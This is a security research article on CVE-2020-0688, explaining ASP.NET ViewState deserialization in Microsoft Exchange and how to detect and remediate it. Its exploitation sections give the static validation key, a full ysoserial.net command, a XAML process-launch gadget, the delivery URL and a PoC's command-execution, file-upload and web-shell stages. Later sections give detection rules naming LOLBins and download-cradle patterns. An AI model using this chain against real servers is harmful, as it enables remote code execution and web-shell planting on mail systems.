Insecure Deserialization Deep Dive: ASP.NET ViewState & CVE-2020-0688

Insecure Deserialization Deep Dive: ASP.NET ViewState & CVE-2020-0688

Educational material for authorized testing and defensive understanding only. The CVE-2020-0688 exploitation flow described here must be reproduced only in lab systems you own or environments where you have explicit written authorization. The purpose of this article is to document the vulnerability mechanics, artifacts, and remediation path from a security researcher’s perspective.

Executive Summary

Insecure deserialization is dangerous because it turns data into behavior. A server receives a serialized object, rebuilds it, and then trusts the resulting object graph. If an attacker can control that object graph and the application deserializes it without strong integrity checks, the attacker may be able to trigger code execution through a gadget chain.

This research focuses on ASP.NET ViewState and CVE-2020-0688, a Microsoft Exchange remote code execution vulnerability caused by static cryptographic keys. On affected Exchange installations, the validationKey used to protect ViewState was not randomized per installation. Because the key was shared and became public, an authenticated attacker could generate a valid malicious ViewState payload and send it to Exchange Control Panel (/ecp/default.aspx).

The high-level chain is:

Authenticated Exchange user
  -> collects ViewState context
  -> uses known validationKey
  -> generates signed malicious ViewState
  -> sends payload to /ecp/default.aspx
  -> ASP.NET validates and deserializes it
  -> gadget chain executes command as Exchange application context

The key research takeaway is that the vulnerability is not “serialization is bad.” The vulnerability is a broken trust boundary: the server accepts client-supplied serialized state because it believes the state is integrity protected. CVE-2020-0688 breaks that assumption by making the integrity key predictable across installations.

Research Scope

Covered:

  • Serialization and deserialization fundamentals.
  • Why deserialization bugs appear in many languages.
  • ASP.NET ViewState purpose and security model.
  • Conditions that make ViewState forgery possible.
  • CVE-2020-0688 root cause in Microsoft Exchange.
  • Required exploit inputs:
    • validationKey
    • validation algorithm
    • __VIEWSTATEGENERATOR
    • ASP.NET_SessionId / ViewState user key
  • ysoserial.net ViewState payload generation.
  • TextFormattingRunProperties gadget concept.
  • Delivery through /ecp/default.aspx.
  • Expected behavior and forensic artifacts.
  • Detection and remediation guidance.

Not covered:

  • Attacking real Exchange servers.
  • Weaponized post-exploitation.
  • EDR bypass.
  • Persistence or lateral movement after exploitation.

Why Insecure Deserialization Matters

OWASP has repeatedly highlighted insecure deserialization because it is a class of bugs with high impact and poor visibility. Many developers think of serialized data as “just data.” In reality, deserialization can instantiate classes, call constructors, resolve types, trigger property setters, invoke magic methods, and execute framework-specific code paths.

The risk appears when three conditions meet:

  1. The application accepts serialized data from an untrusted or semi-trusted source.
  2. The application deserializes that data into complex objects.
  3. The application does not enforce strong integrity, type safety, or allowlist validation before deserialization.

Attackers then look for gadgets: classes already present in the application or framework that perform useful side effects during deserialization.

Serialization Fundamentals

Serialization is the process of converting an object into a portable representation, usually a byte stream or structured text format.

Common reasons to serialize data:

  • store application state on disk;
  • write objects to a database;
  • send data between services;
  • transfer state from server to client;
  • cache expensive state;
  • preserve session or workflow state.

Common formats:

JSON
XML / XAML
YAML
Pickle
Binary .NET objects
Java serialized objects
PHP serialized objects
ASP.NET LosFormatter / ViewState

Example concept:

Object in memory
  -> serializer
  -> byte stream / encoded text
  -> storage or network transfer

Serialization itself is not inherently vulnerable. The security issue appears when the serialized representation crosses a trust boundary.

Deserialization Fundamentals

Deserialization reverses the process:

byte stream / encoded text
  -> deserializer
  -> object graph in memory
  -> application logic consumes object

The dangerous part is that object reconstruction is not always passive. Some formats and frameworks allow type metadata, nested objects, property setters, delegate callbacks, or framework-specific object lifecycle events. If an attacker controls those fields, the application may execute attacker-influenced logic before business validation ever runs.

Security question:

Who created this serialized object, and how does the server know it was not
modified?

If the answer is “the user sent it, and we do not strongly verify it,” the design is high risk.

Why the Vulnerability Is In Deserialization

The source research asked an important question: why do we call it insecure deserialization, not insecure serialization?

Serialization usually happens inside the trusted application. The developer controls the object and format being produced. Deserialization is where attacker-controlled data can enter the server and become an object.

Insecure deserialization commonly appears when:

  • the server deserializes user-controlled input;
  • integrity protection is missing;
  • integrity protection is misconfigured;
  • cryptographic keys leak or are predictable;
  • the application accepts arbitrary types;
  • the deserializer supports dangerous gadget chains;
  • validation happens after deserialization instead of before;
  • the application assumes “encoded” means “trusted.”

CVE-2020-0688 is a strong example because ViewState was intended to be protected by a MAC, but the key used to create that MAC was static and known.

Affected Technology Families

Many ecosystems have had serious deserialization bugs:

EcosystemCommon Risk Pattern
PHPMagic methods such as __wakeup / __destruct and gadget chains.
JavaNative serialization with classpath gadget chains.
Pythonpickle loading untrusted input.
.NET / ASP.NETBinaryFormatter, LosFormatter, ObjectStateFormatter, ViewState gadget chains.
YAML parsersType instantiation and unsafe loaders.

The syntax changes by language, but the root issue is the same: trusted object creation from untrusted serialized data.

ASP.NET ViewState Overview

ASP.NET Web Forms uses ViewState to preserve page and control state across requests. Instead of storing all state server-side, ASP.NET serializes page state and sends it to the browser in a hidden field:

<input type="hidden" name="__VIEWSTATE" value="..." />

On the next request, the browser sends __VIEWSTATE back. ASP.NET validates and deserializes it so the server can rebuild the web form state.

This design saves server resources because state is carried by the client. However, it creates a security-sensitive trust boundary:

Server-created state
  -> serialized and MAC-protected
  -> stored on client
  -> returned by client
  -> server validates MAC
  -> server deserializes state

If validation fails, the server should reject the ViewState. If validation is disabled or the validation key is known, an attacker can forge state that the server accepts as authentic.

ViewState Security Model

Important ViewState security components:

ComponentPurpose
__VIEWSTATESerialized page/control state.
__VIEWSTATEGENERATORPage-specific generator value used in ViewState validation context.
ViewStateUserKeyPer-user/session value that binds ViewState to a user context.
validationKeyMachine key used to calculate MAC/integrity validation.
validation algorithmMAC/hash algorithm, such as SHA1 in legacy cases.
decryptionKeyUsed when ViewState encryption is involved.
decryption algorithmEncryption algorithm when ViewState is encrypted.

Forgery becomes possible when one of these protection assumptions fails:

  • ViewState MAC validation is disabled.
  • The validation key and algorithm are known.
  • For newer .NET configurations, validation and decryption material are known where encryption is used.
  • The attacker can collect user/session-specific ViewState context.

The important point is that ViewState is client-side state. It is safe only if the server can prove it has not been modified.

CVE-2020-0688 Overview

Microsoft describes CVE-2020-0688 as:

Microsoft Exchange Validation Key Remote Code Execution Vulnerability

Root cause:

Affected Exchange Server installations used the same static validationKey in web.config instead of generating a unique key per installation. Because that key protects ASP.NET ViewState, the static key allowed attackers to generate valid MAC-protected ViewState payloads.

Security impact:

  • Authenticated attacker can forge ViewState.
  • Exchange accepts the malicious state as valid.
  • ASP.NET deserializes the malicious object graph.
  • Gadget chain can trigger command execution.

This vulnerability is especially serious because many organizations expose Outlook Web App / Exchange Control Panel to the internet, and an ordinary authenticated mailbox user may satisfy the authentication requirement.

Threat Model

Attacker prerequisites:

RequirementWhy It Matters
Authenticated mailbox / ECP accessThe attacker needs a valid session and session-bound values.
Vulnerable Exchange buildThe static key issue must exist.
Network access to /ecp/default.aspxPayload delivery path.
Known validation key / algorithmRequired to sign forged ViewState.
__VIEWSTATEGENERATORRequired by ysoserial ViewState generation.
ASP.NET_SessionId or ViewState user keyBinds payload to session/user context.

This is not an unauthenticated bug in the basic scenario. It is an authenticated RCE. That still matters greatly because credential theft, password spraying, phishing, and reused credentials are common paths into Exchange.

Research Workflow

The exploit research workflow can be modeled as:

1. Confirm target technology and Exchange version.
2. Authenticate to the Exchange web interface.
3. Browse to /ecp/default.aspx.
4. Collect cookies and session identifiers.
5. Extract or infer __VIEWSTATEGENERATOR.
6. Select known validation key and algorithm for affected build.
7. Generate malicious ViewState with ysoserial.net.
8. URL-encode payload.
9. Deliver payload to /ecp/default.aspx.
10. Observe server behavior and process execution.
11. Document artifacts and remediation.

This is the difference between a proof of concept and research: every step has an assumption, a source of evidence, and a validation point.

Step 1: Identify a Vulnerable Exchange Build

The source research checked the Exchange version after logging into the mail server and browsing:

/ecp/default.aspx

Using browser developer tools, the issued cookies and Exchange build references can reveal version information. The original lab example observed:

15.0.847.32

That version was identified as affected in the research notes.

Defensive note:

  • Version checks are only an initial indicator.
  • Patch state should be confirmed through Exchange update inventory, file versions, and Microsoft security update records.
  • Internet-exposed Exchange should be treated as high priority for patch validation.

Step 2: Collect Required ViewState Inputs

The exploit needs several values:

validationKey
validation algorithm
__VIEWSTATEGENERATOR
ViewStateUserKey / ASP.NET_SessionId

validationKey and Algorithm

The vulnerable condition is that affected Exchange installations used a static key. Public research documented values for vulnerable builds. The source notes used:

validation algorithm: SHA1
validationKey: CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF

Research interpretation:

  • A machine-wide validation key should be secret and installation-specific.
  • Reusing it across installations turns one leaked key into a global exploit primitive.

__VIEWSTATEGENERATOR

__VIEWSTATEGENERATOR can often be found in the page source of:

/ecp/default.aspx

If it is not present, the source research notes that this commonly used value can work for default.aspx:

B97B4E27

ViewState User Key

The user/session binding value can be derived from the session issued after login. In this case, the relevant value is the ASP.NET_SessionId associated with /ecp/default.aspx.

Example value from the source research:

193bfa60-dfdc-4692-b969-96efc1edf8b3

This is why authentication matters. The attacker needs a session-bound context that the server will accept.

Step 3: Generate ViewState Payload With ysoserial.net

ysoserial.net can generate serialized gadget-chain payloads for .NET deserialization sinks, including ASP.NET ViewState.

Source command:

ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" ^
  --validationalg="SHA1" ^
  --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" ^
  --generator="B97B4E27" ^
  --viewstateuserkey="193bfa60-dfdc-4692-b969-96efc1edf8b3" ^
  --isdebug -islegacy

Parameter meaning:

ParameterMeaning
-p ViewStateBuild an ASP.NET ViewState payload.
-g TextFormattingRunPropertiesUse the selected .NET gadget chain.
-c "calc.exe"Command executed by the gadget in the lab.
--validationalgMAC/hash algorithm.
--validationkeyKnown static validation key.
--generatorViewState generator value for the page.
--viewstateuserkeySession/user binding value.
--isdebugDebug output.
--islegacyLegacy ViewState handling mode.

In a lab, calc.exe is a safe visual proof of execution. In a real incident, payloads may attempt to run shells, upload files, or execute PowerShell, so defenders should detect process creation patterns, not only a single command.

Gadget Chain Reasoning

The source research highlighted the TextFormattingRunPropertiesMarshal path used by ysoserial.net. The gadget wraps XAML that uses ObjectDataProvider to start a process.

Conceptual XAML payload:

<ResourceDictionary
  xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
  xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
  xmlns:System="clr-namespace:System;assembly=mscorlib"
  xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
  <ObjectDataProvider x:Key="RunCalc"
      ObjectType="{x:Type Diag:Process}" MethodName="Start">
    <ObjectDataProvider.MethodParameters>
      <System:String>cmd</System:String>
      <System:String>/c calc.exe</System:String>
    </ObjectDataProvider.MethodParameters>
  </ObjectDataProvider>
</ResourceDictionary>

The key behavior is:

Deserialization reaches a gadget.
The gadget processes XAML.
XAML ObjectDataProvider calls Process.Start.
Process.Start launches the command.

Research note:

  • The attacker does not need to upload a new class.
  • The gadget uses classes already present in the .NET / application runtime.
  • This is why gadget inventory matters in deserialization research.

LosFormatter and ViewState Deserialization

ASP.NET ViewState uses formatter logic to serialize and deserialize state. The source research included a simplified view of the process:

Object obj = new TextFormattingRunPropertiesMarshal(payload);
LosFormatter fmt = new LosFormatter();
MemoryStream ms = new MemoryStream();

fmt.Serialize(ms, obj);
ms.Position = 0;
fmt.Deserialize(ms);   // Code path triggers during deserialization

The important sink is Deserialize. If the incoming ViewState has a valid MAC, ASP.NET accepts it and passes it into the deserialization path. The malicious object graph then triggers the gadget chain.

Step 4: Deliver the Payload

After ysoserial.net generates the payload, the payload must be URL-encoded and sent to the vulnerable endpoint.

Delivery shape:

https://<DNS-or-IP>/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=<encoded_payload>

Expected lab behavior from the source research:

  • The server returns HTTP 500.
  • The command still executes.
  • In the lab, calc.exe starts on the server.
  • Process properties show execution through command prompt under NT AUTHORITY\SYSTEM.

Why HTTP 500 can happen:

  • The payload causes execution but does not complete normal page processing.
  • The process may not close cleanly.
  • The request times out or errors after the gadget has already fired.

Research lesson:

HTTP error does not mean exploit failure.
Process and server-side evidence determine success.

7heKnight PoC Automation Notes

The companion research repository, 7heKnight/CVE-2020-0688, turns the manual workflow into a repeatable lab harness. Instead of only showing a one-shot ysoserial.net command, it breaks exploitation into small stages that are easier to observe, proxy, debug, and map back to defensive telemetry.

At a high level, the PoC does four jobs:

Authenticate to OWA
  -> establish an ECP session
  -> generate signed ViewState from XAML payload templates
  -> deliver payloads to page-specific ECP endpoints
  -> read command output or file-write result from the HTTP response

This design is useful for research because every phase creates evidence: authentication events, ECP requests, generated ViewState values, HTTP status codes, response bodies, process creation, and file-system artifacts.

Repository Components

FileResearch Role
poc.pyPython controller for argument parsing, login, session handling, proxy support, payload staging, and HTTP delivery.
CVE-2020-0688.ps1ViewState generator that serializes a TextFormattingRunProperties gadget and signs the state with the known vulnerable Exchange validation key.
Microsoft.PowerShell.Editor.dllAssembly loaded so the gadget type is available during serialization.
NULL-File.xmlFirst-stage XAML used to create a blank liveiderror.aspx page under the ECP path for later payload delivery.
command.xmlXAML template that starts PowerShell, redirects stdout/stderr, and writes the result into the HTTP response.
uploader.xmlXAML template that base64-decodes local file content and writes it under the Exchange ClientAccess\Autodiscover path.
Upload-Shell.xmlLab template that demonstrates writing an ASP.NET command shell under the ECP directory.

The important research point is the separation between transport logic and payload logic. poc.py owns the web workflow. The XML templates own the side effect. CVE-2020-0688.ps1 turns the chosen XAML into a signed ViewState blob.

PoC Execution Modes

The README exposes three main lab modes:

python poc.py -s <exchange-url> -u <domain\user> -p <password>
python poc.py -s <exchange-url> -u <domain\user> -p <password> -c <command>
python poc.py -s <exchange-url> -u <domain\user> -p <password> --upload <file>

Mode behavior:

ModeWhat It Proves
defaultEnd-to-end payload generation and page write primitive.
-cCommand execution with stdout/stderr returned in the web response.
--uploadArbitrary file-write behavior through a base64-encoded payload template.
--proxyInterception and replay through Burp/ZAP for request-level inspection.

For a lab, this is richer than a simple calc.exe proof because it lets the researcher verify both blind and response-based execution paths. For defenders, it also provides clearer detection anchors.

Stage 1: Session and Endpoint Preparation

poc.py normalizes the supplied server URL to the scheme and host, then posts credentials to:

/owa/auth.owa

After successful authentication, it warms the session by requesting:

/owa/
/ecp/default.aspx

The first generated payload uses NULL-File.xml against default.aspx. That template resolves ExchangeInstallPath, builds this target path, and writes a minimal page:

ClientAccess\ecp\liveiderror.aspx

The PoC then requests /ecp/liveiderror.aspx to confirm the staging page exists. This is a clever reliability step: later payloads can be posted to a known page with a generator value computed for liveiderror.aspx.

Stage 2: Standalone ViewState Generation

The PowerShell helper embeds C# code that mirrors the important ViewState construction pieces:

XAML template
  -> TextFormattingRunPropertiesMarshal object
  -> BinaryFormatter serialization
  -> ViewState framing bytes
  -> HMAC-SHA1 using the static Exchange validationKey
  -> Base64 ViewState

It also computes __VIEWSTATEGENERATOR from the ECP application path and page name:

"/ecp" + "<page>_aspx" -> page-specific generator context

This differs from the manual ysoserial.net example because the PoC owns the ViewState generation logic directly. Treat that as an implementation detail of this Exchange-focused lab chain, not as a universal ViewState rule for every ASP.NET application.

Stage 3: Response-Based Command Execution

When the -c mode is used, the Python controller replaces COMMAND_HERE in command.xml, asks the PowerShell generator to produce a ViewState payload for liveiderror.aspx, and posts form data to:

/ecp/liveiderror.aspx

The command template uses ProcessStartInfo to launch PowerShell with redirected stdout and stderr. It then writes both buffers into HttpContext.Current.Response and ends the response. In a lab, that makes exploitation easier to validate because the result comes back in the HTTP body instead of requiring a visible UI process such as calc.exe.

Defensive interpretation:

  • response bodies may contain command output or error text;
  • HTTP 200 may indicate a response-based payload completed;
  • HTTP 500 can still indicate gadget execution in one-shot payloads;
  • process telemetry is still the strongest confirmation source.

Stage 4: File Write and Web Shell Artifacts

The upload-oriented templates demonstrate the file-write impact of the same primitive. uploader.xml base64-decodes supplied file content and writes it under:

ClientAccess\Autodiscover\<uploaded-file-name>

Upload-Shell.xml demonstrates a lab web shell write under:

ClientAccess\ecp\7k.aspx

Those paths are useful for defenders. If this vulnerability is suspected, hunt for recently created .aspx files below ClientAccess\ecp and unexpected files below ClientAccess\Autodiscover, especially when file timestamps line up with suspicious ECP requests.

Detection Mapping From the PoC

The automation gives a concrete chain to hunt:

POST /owa/auth.owa
  -> GET /owa/
  -> GET /ecp/default.aspx
  -> GET /ecp/default.aspx?__VIEWSTATEGENERATOR=...&__VIEWSTATE=...
  -> GET /ecp/liveiderror.aspx
  -> POST /ecp/liveiderror.aspx with __VIEWSTATEGENERATOR and __VIEWSTATE
  -> w3wp.exe starts powershell.exe or writes files under ClientAccess

High-signal indicators from this PoC shape:

  • __VIEWSTATE appearing in query strings or form bodies for ECP pages;
  • requests to a newly created /ecp/liveiderror.aspx;
  • w3wp.exe spawning powershell.exe;
  • ECP responses containing command output;
  • new files under ClientAccess\ecp or ClientAccess\Autodiscover;
  • external testing user agent plus optional proxy interception patterns;
  • repeated ECP requests immediately after a successful OWA login.

This is where offensive research becomes defensive value: a working PoC exposes the exact request sequence, process tree, and file-system side effects that a SOC can turn into detections.

Impact Analysis

Impact depends on Exchange configuration and process context, but the key risk is remote command execution after authentication.

Potential impact:

  • execute commands on Exchange server;
  • run under a privileged Exchange/ASP.NET context;
  • upload files;
  • deploy web shell or tooling;
  • access mailbox-related data;
  • pivot deeper into the environment;
  • dump credentials or tokens;
  • use Exchange as an internal foothold.

Exchange servers are high-value assets because they often have:

  • internet exposure;
  • domain connectivity;
  • privileged service accounts;
  • mailbox data;
  • access to internal network resources;
  • trust relationships with Active Directory.

This is why an authenticated Exchange RCE can become enterprise-wide risk.

Evidence and Artifact Model

During research and incident response, classify evidence into layers.

Evidence LayerExamples
Web request/ecp/default.aspx request with __VIEWSTATE and __VIEWSTATEGENERATOR.
AuthenticationValid Exchange/ECP session cookie and user identity.
Application errorHTTP 500 responses around exploit attempts.
Process creationw3wp.exe or Exchange app pool process spawning cmd.exe, powershell.exe, or child process.
Payload behaviorcalc.exe in lab, file upload, shell process, or command output in malicious cases.
Windows logsProcess creation, PowerShell logs, application errors.
Exchange/IIS logsECP endpoint requests and query strings.
File systemDropped payloads, web shells, temp files.

The most valuable detection is not a single ViewState string. It is correlation:

Authenticated ECP request with large ViewState
  -> HTTP 500
  -> app pool process spawns command interpreter
  -> suspicious file/network activity

Detection Engineering

IIS / Exchange Web Logs

Hunt for:

  • requests to /ecp/default.aspx;
  • unusually long __VIEWSTATE values;
  • __VIEWSTATE sent through GET query string;
  • repeated HTTP 500 responses;
  • suspicious user agents;
  • ECP access from unusual IPs;
  • login followed quickly by malformed ViewState requests.

Example log-analysis idea:

cs-uri-stem contains /ecp/default.aspx
AND cs-uri-query contains __VIEWSTATE=
AND sc-status = 500

A large ViewState alone is not always malicious, but large ViewState in the query string plus error responses and suspicious process creation is high signal.

Windows Process Creation

High-risk process chains:

w3wp.exe -> cmd.exe
w3wp.exe -> powershell.exe
w3wp.exe -> certutil.exe
w3wp.exe -> bitsadmin.exe
w3wp.exe -> mshta.exe
w3wp.exe -> rundll32.exe
w3wp.exe -> regsvr32.exe
w3wp.exe -> cscript.exe
w3wp.exe -> wscript.exe
w3wp.exe -> suspicious .exe

If Exchange’s application pool process spawns command interpreters or LOLBins, that should be investigated immediately.

Sysmon / EDR logic:

title: Exchange Worker Process Spawning Suspicious Child Process
logsource:
  product: windows
  category: process_creation
detection:
  parent:
    ParentImage|endswith:
      - '\w3wp.exe'
  child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\certutil.exe'
      - '\bitsadmin.exe'
      - '\mshta.exe'
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\cscript.exe'
      - '\wscript.exe'
  condition: parent and child
level: high

PowerShell Telemetry

If exploitation launches PowerShell:

  • review Script Block logs;
  • review Module logs;
  • review suspicious encoded commands;
  • review download cradles;
  • review AMSI/EDR alerts.

Common suspicious patterns:

-enc
FromBase64String
DownloadString
Invoke-WebRequest
IEX
New-Object Net.WebClient

File System Artifacts

Hunt for:

  • new .aspx files in Exchange virtual directories;
  • files created by Exchange worker process;
  • payloads in temp directories;
  • web shells with recent timestamps;
  • suspicious scripts or binaries near web-accessible paths.

Example investigation paths:

Exchange installation directories
IIS web root / virtual directories
%TEMP%
C:\Windows\Temp
User profile temp directories for service accounts

Network Indicators

Hunt for:

  • Exchange server initiating unusual outbound connections;
  • reverse shell callbacks;
  • downloads from untrusted hosts;
  • DNS lookups shortly after suspicious ECP requests;
  • connections from Exchange to internal systems not typical for mail flow.

Incident Response Checklist

If CVE-2020-0688 exploitation is suspected:

  1. Identify all Exchange servers and patch levels.
  2. Preserve IIS logs, Exchange logs, Windows event logs, and EDR telemetry.
  3. Search for suspicious /ecp/default.aspx requests with __VIEWSTATE.
  4. Correlate HTTP 500 responses with process creation.
  5. Review child processes spawned by w3wp.exe.
  6. Check for web shells and recently created files under Exchange/IIS paths.
  7. Review authenticated accounts used near the suspicious requests.
  8. Reset credentials for affected accounts.
  9. Rotate Exchange machine keys if advised and supported by remediation plan.
  10. Apply Microsoft security updates.
  11. Hunt for post-exploitation activity: persistence, credential dumping, lateral movement, mailbox access, and outbound C2.
  12. Rebuild server if compromise is confirmed and integrity cannot be trusted.

Remediation

Primary remediation:

  • Apply the Microsoft security update for CVE-2020-0688.
  • Ensure Exchange is fully updated, not only the single CVE patch.

Additional controls:

  • Restrict ECP exposure to trusted networks or VPN.
  • Require MFA for mailbox and administrative access.
  • Monitor and alert on unusual ECP usage.
  • Rotate credentials for accounts exposed during exploitation.
  • Harden Exchange server egress.
  • Enable process creation logging on Exchange servers.
  • Monitor Exchange worker process child processes.
  • Maintain regular Exchange health and patch audits.

For application developers working with deserialization:

  • Do not deserialize untrusted objects.
  • Prefer simple data formats over object serialization.
  • Use allowlists for expected types.
  • Validate before deserialization where possible.
  • Enforce integrity with strong per-installation keys.
  • Keep secrets out of client-accessible contexts.
  • Rotate keys when exposure is suspected.

Secure Design Lessons

CVE-2020-0688 demonstrates several broader lessons:

  1. Client-side state must be integrity protected. Encoding and serialization are not security controls.

  2. Cryptographic keys must be unique per installation. A static key turns every deployment into the same target.

  3. Authenticated bugs still matter. Mailbox credentials are commonly phished, reused, sprayed, or stolen.

  4. Gadget chains use legitimate code. Blocking uploaded binaries does not stop deserialization gadget execution.

  5. Detection must correlate layers. Web logs, application errors, process creation, file writes, and network behavior together tell the story.

Deserialization vulnerabilities appear across many platforms. The specific gadget changes, but the analysis model remains the same:

Input source
  -> trust boundary
  -> integrity protection
  -> deserializer
  -> allowed types
  -> gadget availability
  -> side effect
  -> impact

This model is useful when analyzing Java, PHP, Python, YAML, or .NET deserialization bugs.

Research Takeaways

The most important security research takeaways from this case:

  • ViewState is not just a hidden field; it is serialized server state carried by the client.
  • ViewState security depends on MAC validation and key secrecy.
  • CVE-2020-0688 happened because the key was static instead of installation-specific.
  • ysoserial.net works because .NET gadget chains can execute side effects during deserialization.
  • HTTP 500 after payload delivery can still indicate successful execution.
  • Exchange exploitation should be investigated as potential enterprise compromise, not only web-server compromise.
  • Defenders should prioritize patching, ECP exposure reduction, process-chain monitoring, and web-log correlation.

Conclusion

Insecure deserialization is a design failure around trust. The server receives structured data and rebuilds it as an object. If the attacker can influence that object and the server accepts it as authentic, data becomes code.

CVE-2020-0688 is a clear case study:

static Exchange validationKey
  -> forged ViewState becomes possible
  -> authenticated user generates valid malicious payload
  -> ASP.NET deserializes gadget chain
  -> command execution on Exchange server

For a security researcher, the value is not only reproducing calc.exe. The value is explaining the trust boundary, the cryptographic failure, the gadget path, the artifacts, and the controls that prevent the same class of bug from appearing again.

References